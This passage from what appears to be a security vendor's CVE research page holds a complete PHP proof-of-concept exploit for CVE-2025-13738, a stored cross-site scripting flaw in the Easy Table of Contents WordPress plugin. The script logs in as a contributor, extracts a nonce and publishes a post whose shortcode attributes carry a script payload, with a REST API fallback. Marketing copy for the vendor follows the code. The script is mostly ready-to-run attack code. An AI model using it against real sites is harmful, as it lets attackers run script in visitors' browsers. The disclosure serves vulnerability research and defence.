// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-13738 - Easy Table of Contents <= 2.0.78 - Authenticated (Contributor+) Stored Cross-Site Scripting

<?php
/**
 * Proof of Concept for CVE-2025-13738
 * Demonstrates stored XSS via ez-toc shortcode attributes
 * Requires contributor-level WordPress credentials
 */

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Malicious payload to inject via shortcode attribute
$payload = '<script>alert("XSS via CVE-2025-13738: " + document.domain)</script>';

// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);

// Check if login was successful by looking for admin dashboard indicators
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
    die('Login failed. Check credentials.');
}

// Create a new post with malicious shortcode
$post_data = [
    'post_title' => 'Test Post with XSS Payload',
    'post_content' => 'This post contains a malicious table of contents shortcode.nn[ez-toc label="' . $payload . '" title="' . $payload . '"]nnRegular post content here.',
    'post_status' => 'publish',
    'post_type' => 'post'
];

// Get nonce for post creation (simplified - real implementation would parse from admin page)
// Note: This PoC assumes the attacker can obtain/create a valid nonce through normal WordPress admin flow
// In practice, the attacker would first load the post creation page to get a fresh nonce

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
$response = curl_exec($ch);

// Extract nonce from the page (simplified example)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    // Fallback: Create post via REST API if nonce extraction fails
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts');
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
} else {
    // Submit via standard WordPress admin form
    $post_data['_wpnonce'] = $nonce;
    $post_data['_wp_http_referer'] = '/wp-admin/post-new.php';
    $post_data['post_type'] = 'post';
    $post_data['user_ID'] = 1; // Adjust based on actual user ID
    
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
}

$response = curl_exec($ch);
curl_close($ch);

// Check if post was created successfully
if (strpos($response, 'Post published') !== false || strpos($response, 'post-') !== false) {
    echo "Exploit successful! Post created with XSS payload.n";
    echo "Visit the published post to trigger the JavaScript execution.n";
} else {
    echo "Post creation may have failed. Check permissions and nonce validity.n";
}

// Cleanup
@unlink('cookies.txt');

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School